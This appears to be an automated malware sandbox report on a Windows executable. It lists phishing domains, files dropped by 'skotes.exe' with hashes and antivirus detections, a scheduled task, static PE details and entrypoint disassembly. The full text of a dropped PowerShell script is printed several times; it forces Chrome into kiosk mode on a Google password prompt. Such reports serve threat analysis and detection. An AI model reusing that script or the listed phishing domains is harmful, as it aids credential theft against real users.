	http://ivo-telegram.org/	Get hash	malicious	Unknown	Browse	20.114.59.183
	http://telegriame.club/	Get hash	malicious	Telegram Phisher	Browse	20.114.59.183
	http://telegrvams.club/	Get hash	malicious	Telegram Phisher	Browse	20.114.59.183
	https://btinternet-105262.weeblysite.com/	Get hash	malicious	Unknown	Browse	20.114.59.183
	https://swiftversedapp.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	20.114.59.183

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022199954471388
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAg:RJE+Lfki1GjHwU/+vVhWqpl
MD5:	EA667CC6F91931AD89872C6E00853208
SHA1:	86D011BF9C59C8BB221023BC02340D04AA977833
SHA-256:	89E3EFD34E2ED2502B79F61CC3A0AD4EAAC7909043BABC44D0884D33DC332099
SHA-512:	478FE425EAB92C7D8C53A627B10167FABD03F48B876798E06ED0BA281D6F066D60235C9CC702C53C87C3ED5B7927BAB393148F780CAA66EDA148CBEF35651EB5
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9dd9266c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433317503103932
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:DazaHvxXy2V2UR
MD5:	D1FE2C464CF5BB1691945A8124167A5C
SHA1:	446DBA5C69907D9E5911B1845F16C362FDFE43B9
SHA-256:	952F43EE926364229A645CA4E2DE6E04CC933883BCDA678EE6C7A88FE7A8526A
SHA-512:	D3F4D57DD7597BF9DA89B1A4FDCFD319ACD5736DDD14567842BACDDB3A951D0DBEC30FE5605094A19390B0CD2D70492DCF70B52C199B408C3AA3F04A5082FA16
Malicious:	false
Preview:	..&l... ...............X\...;...{......................0.x...... ...{s......\|}.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................o.m.....\|}..................v.......\|}..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08188020178215669
Encrypted:	false
SSDEEP:	3:5l8YeLqs6El/nqlFcl1ZUllllHU2El/lollGBnX/l/Tj/k7/t:5l8zLqstl/qlFclQ/lG2p254
MD5:	CE77DB4BE565CB3992021ADDE5F58D78
SHA1:	5B197C261E86A6566555E9DA399F51071A7402F7
SHA-256:	4B8BB12527C6BD1B1BC4BC0074598464BA570D11341AA6A033F53F2A55A8A4F5
SHA-512:	ECF549999EE3597A77B6D3F48C0F40B7A16C70FA39EF732B207C89F49C5B9B8BFF90D148B366C613572981A6B4764A2EF4D45D752DEAF3877111902B92695137
Malicious:	false
Preview:	V%.......................................;...{.......\|}.. ...{s.......... ...{s.. ...{s.P.... ...{s..................v.......\|}.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\1000026002\cee706a53f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1843712
Entropy (8bit):	7.947459611439105
Encrypted:	false
SSDEEP:	49152:wVJht3RXBy6BIag4TbsjVgH9r8DEqqZfLK+F5SfJrjzfl:wVJhtFB7SkQmHl8a5LKMSFfl
MD5:	4D54B2279D2B7CA76FDAF6D89C509355
SHA1:	379684BC91685997BFE8FBA6A15212F925C7CAFE
SHA-256:	65055A6AF994E27432E1BB9CED6FCB0886680B9F5A1A715D32D98341203CB7CC
SHA-512:	8B15040DDC2C1E1070FA1E1F74D9C62610FF4F0E8C0FA2FFA995DC6696DFB6D851A7E60DECE0EB2E753D62AB366B6CEC18CA9F56333E4508D6B90C7F61066BD2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L.../..f......................$.......i...........@...........................i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...spyqlfjc......O......<..............@...scxfhudm......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\1000032042\ko.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	912
Entropy (8bit):	5.020676861057704
Encrypted:	false
SSDEEP:	24:ii1cUl0O+g5KkApA22mO+kAHYp6l8U7wohor/54b0U:ii1cU6pgUkA+22mrkL/lohor/5Y
MD5:	FD20FBEA11D956F653E48E57533F16B1
SHA1:	A852C78BB32389FB4C5ABD7D7E748E4DDC4A3695
SHA-256:	AC8A8901A5DD0728C8626015E509A856C257B2A0E5405D41F7CC0563C7ED28A5
SHA-512:	FBDAE6B8DCA3CD596AFA8CB54846FB704A89033D34BA8CF7983DD6C288FA318120A09E12B244A1D8B43FA028873F036464FDAC05E8F66BFF1571D933BDE94B53
Malicious:	false
Preview:	$chromePathX86 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"..$chromePathX64 = "C:\Program Files\Google\Chrome\Application\chrome.exe"....$chromeProfilePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data"..$firstUrl = "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd"..$fullscreenArg = "--kiosk"..$profileArg = "--user-data-dir=$chromeProfilePath"....function Start-Browser {.. param (.. [string[]]$paths,.. [string]$firstUrl,.. [string]$fullscreenArg,.. [string]$profileArg.. ).... foreach ($path in $paths) {.. if (Test-Path $path) {.. Start-Process -FilePath $path -ArgumentList "$firstUrl $fullscreenArg $profileArg".. return.. }.. }..}....Start-Browser -paths @($chromePathX64, $chromePathX86) -firstUrl $firstUrl -fullscreenArg $fullscreenArg -profileArg $profileArg..

C:\Users\user\1000033142\so.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	912
Entropy (8bit):	5.020676861057704
Encrypted:	false
SSDEEP:	24:ii1cUl0O+g5KkApA22mO+kAHYp6l8U7wohor/54b0U:ii1cU6pgUkA+22mrkL/lohor/5Y
MD5:	FD20FBEA11D956F653E48E57533F16B1
SHA1:	A852C78BB32389FB4C5ABD7D7E748E4DDC4A3695
SHA-256:	AC8A8901A5DD0728C8626015E509A856C257B2A0E5405D41F7CC0563C7ED28A5
SHA-512:	FBDAE6B8DCA3CD596AFA8CB54846FB704A89033D34BA8CF7983DD6C288FA318120A09E12B244A1D8B43FA028873F036464FDAC05E8F66BFF1571D933BDE94B53
Malicious:	false
Preview:	$chromePathX86 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"..$chromePathX64 = "C:\Program Files\Google\Chrome\Application\chrome.exe"....$chromeProfilePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data"..$firstUrl = "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd"..$fullscreenArg = "--kiosk"..$profileArg = "--user-data-dir=$chromeProfilePath"....function Start-Browser {.. param (.. [string[]]$paths,.. [string]$firstUrl,.. [string]$fullscreenArg,.. [string]$profileArg.. ).... foreach ($path in $paths) {.. if (Test-Path $path) {.. Start-Process -FilePath $path -ArgumentList "$firstUrl $fullscreenArg $profileArg".. return.. }.. }..}....Start-Browser -paths @($chromePathX64, $chromePathX86) -firstUrl $firstUrl -fullscreenArg $fullscreenArg -profileArg $profileArg..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1843712
Entropy (8bit):	7.947459611439105
Encrypted:	false
SSDEEP:	49152:wVJht3RXBy6BIag4TbsjVgH9r8DEqqZfLK+F5SfJrjzfl:wVJhtFB7SkQmHl8a5LKMSFfl
MD5:	4D54B2279D2B7CA76FDAF6D89C509355
SHA1:	379684BC91685997BFE8FBA6A15212F925C7CAFE
SHA-256:	65055A6AF994E27432E1BB9CED6FCB0886680B9F5A1A715D32D98341203CB7CC
SHA-512:	8B15040DDC2C1E1070FA1E1F74D9C62610FF4F0E8C0FA2FFA995DC6696DFB6D851A7E60DECE0EB2E753D62AB366B6CEC18CA9F56333E4508D6B90C7F61066BD2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L.../..f......................$.......i...........@...........................i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...spyqlfjc......O......<..............@...scxfhudm......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\ko[1].ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	912
Entropy (8bit):	5.020676861057704
Encrypted:	false
SSDEEP:	24:ii1cUl0O+g5KkApA22mO+kAHYp6l8U7wohor/54b0U:ii1cU6pgUkA+22mrkL/lohor/5Y
MD5:	FD20FBEA11D956F653E48E57533F16B1
SHA1:	A852C78BB32389FB4C5ABD7D7E748E4DDC4A3695
SHA-256:	AC8A8901A5DD0728C8626015E509A856C257B2A0E5405D41F7CC0563C7ED28A5
SHA-512:	FBDAE6B8DCA3CD596AFA8CB54846FB704A89033D34BA8CF7983DD6C288FA318120A09E12B244A1D8B43FA028873F036464FDAC05E8F66BFF1571D933BDE94B53
Malicious:	false
Preview:	$chromePathX86 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"..$chromePathX64 = "C:\Program Files\Google\Chrome\Application\chrome.exe"....$chromeProfilePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data"..$firstUrl = "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd"..$fullscreenArg = "--kiosk"..$profileArg = "--user-data-dir=$chromeProfilePath"....function Start-Browser {.. param (.. [string[]]$paths,.. [string]$firstUrl,.. [string]$fullscreenArg,.. [string]$profileArg.. ).... foreach ($path in $paths) {.. if (Test-Path $path) {.. Start-Process -FilePath $path -ArgumentList "$firstUrl $fullscreenArg $profileArg".. return.. }.. }..}....Start-Browser -paths @($chromePathX64, $chromePathX86) -firstUrl $firstUrl -fullscreenArg $fullscreenArg -profileArg $profileArg..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\so[1].ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	912
Entropy (8bit):	5.020676861057704
Encrypted:	false
SSDEEP:	24:ii1cUl0O+g5KkApA22mO+kAHYp6l8U7wohor/54b0U:ii1cU6pgUkA+22mrkL/lohor/5Y
MD5:	FD20FBEA11D956F653E48E57533F16B1
SHA1:	A852C78BB32389FB4C5ABD7D7E748E4DDC4A3695
SHA-256:	AC8A8901A5DD0728C8626015E509A856C257B2A0E5405D41F7CC0563C7ED28A5
SHA-512:	FBDAE6B8DCA3CD596AFA8CB54846FB704A89033D34BA8CF7983DD6C288FA318120A09E12B244A1D8B43FA028873F036464FDAC05E8F66BFF1571D933BDE94B53
Malicious:	false
Preview:	$chromePathX86 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"..$chromePathX64 = "C:\Program Files\Google\Chrome\Application\chrome.exe"....$chromeProfilePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data"..$firstUrl = "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd"..$fullscreenArg = "--kiosk"..$profileArg = "--user-data-dir=$chromeProfilePath"....function Start-Browser {.. param (.. [string[]]$paths,.. [string]$firstUrl,.. [string]$fullscreenArg,.. [string]$profileArg.. ).... foreach ($path in $paths) {.. if (Test-Path $path) {.. Start-Process -FilePath $path -ArgumentList "$firstUrl $fullscreenArg $profileArg".. return.. }.. }..}....Start-Browser -paths @($chromePathX64, $chromePathX86) -firstUrl $firstUrl -fullscreenArg $fullscreenArg -profileArg $profileArg..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1256
Entropy (8bit):	5.384265828126428
Encrypted:	false
SSDEEP:	24:3TWSKco4KmZjKbmOIld6emN1s4RPQoU99tXt/NK3R8eiag:jWSU4xym/jms4RIoU99tlNWR8ey
MD5:	2336D6FD2AC44725763C1B01BD327DE4
SHA1:	CAE85FBCA833AE68045455859053F2BE3B575840
SHA-256:	ECAD1419A33F683061E66CA6730314482A7D94DC3148442D3DA4F1A05A351B9A
SHA-512:	72CD3D032089CBC4A6F70B345CC1FE4DEBFE9DC32090E021115D79F821046808183FED8B2D0BDE85AF016075230E99FAEF413FB969C00DD8621BA1336DFAEBB0
Malicious:	false
Preview:	@...e.................................l..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1843712
Entropy (8bit):	7.947459611439105
Encrypted:	false
SSDEEP:	49152:wVJht3RXBy6BIag4TbsjVgH9r8DEqqZfLK+F5SfJrjzfl:wVJhtFB7SkQmHl8a5LKMSFfl
MD5:	4D54B2279D2B7CA76FDAF6D89C509355
SHA1:	379684BC91685997BFE8FBA6A15212F925C7CAFE
SHA-256:	65055A6AF994E27432E1BB9CED6FCB0886680B9F5A1A715D32D98341203CB7CC
SHA-512:	8B15040DDC2C1E1070FA1E1F74D9C62610FF4F0E8C0FA2FFA995DC6696DFB6D851A7E60DECE0EB2E753D62AB366B6CEC18CA9F56333E4508D6B90C7F61066BD2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L.../..f......................$.......i...........@...........................i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...spyqlfjc......O......<..............@...scxfhudm......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_01cvxrcc.42a.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3cfhqx4x.ubu.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ol0f2wpe.fja.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x24zye3f.dlr.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1928192
Entropy (8bit):	7.948401691950642
Encrypted:	false
SSDEEP:	49152:Qrtgwi2KtamRAHKWN5hI4WkrIL0+EcOcIYYqORZZfh0:QJg/txW+4WkrIL0BA7Y1JO
MD5:	6C4B5FA44D73D27368A762B5581BCAAE
SHA1:	C31D79C81E6617D85DB268AB62E56AB828E1A2DC
SHA-256:	A8E738EB5FE6BAAFC04C22DC1B21E84CE3B9FC12D1C651CCA717ECC2A4F03428
SHA-512:	C8712ECF9D8220116BEA9E1C84DE2D2EE39DCA73B09AB07A545BC25B7001A60CE62D89AD2816EEE636E6F71DF9410ED44D7E333DFBF26DC89EE50E128DED88DD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@L...........@..........................pL...........@.................................W...k...........................l.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... . +.........................@...mmzmokro.`....1..R..................@...mnjwdapr.....0L......F..............@....taggant.0...@L.."...J..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4213281166916545
Encrypted:	false
SSDEEP:	6:jbX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lbhrut0:jr7BQ1CGAFBZgtVVut0
MD5:	38F6C33D554954093E939B9733EA47BD
SHA1:	E0EF990DD31014F49386B2AEF53484DA1CC3AA2D
SHA-256:	943985A8F65106805805217D9C87426CD9669F67F9A4E7A088ADCB206C492ECF
SHA-512:	11555943991F2090D574C778630E37244ED03D321AA3266772AB936882A65BF1233FB812DA72AF40029E29BA9FD882D257D3B516D649F4C5D9611C76575F0D70
Malicious:	false
Preview:	....\..c..N...,....F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948401691950642
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'928'192 bytes
MD5:	6c4b5fa44d73d27368a762b5581bcaae
SHA1:	c31d79c81e6617d85db268ab62e56ab828e1a2dc
SHA256:	a8e738eb5fe6baafc04c22dc1b21e84ce3b9fc12d1c651cca717ecc2a4f03428
SHA512:	c8712ecf9d8220116bea9e1c84de2d2ee39dca73b09ab07a545bc25b7001a60ce62d89ad2816eee636e6f71df9410ed44d7e333dfbf26dc89ee50e128ded88dd
SSDEEP:	49152:Qrtgwi2KtamRAHKWN5hI4WkrIL0+EcOcIYYqORZZfh0:QJg/txW+4WkrIL0BA7Y1JO
TLSH:	7E95338F0D359EBBEF32E27158670556887B2D0D88BE70B46B09D23E19B31E1D8C9752
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8c4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8A2CBFDA5Ah
cmovp ebx, dword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4c1f6c	0x10	mmzmokro
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4c1f1c	0x18	mmzmokro
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
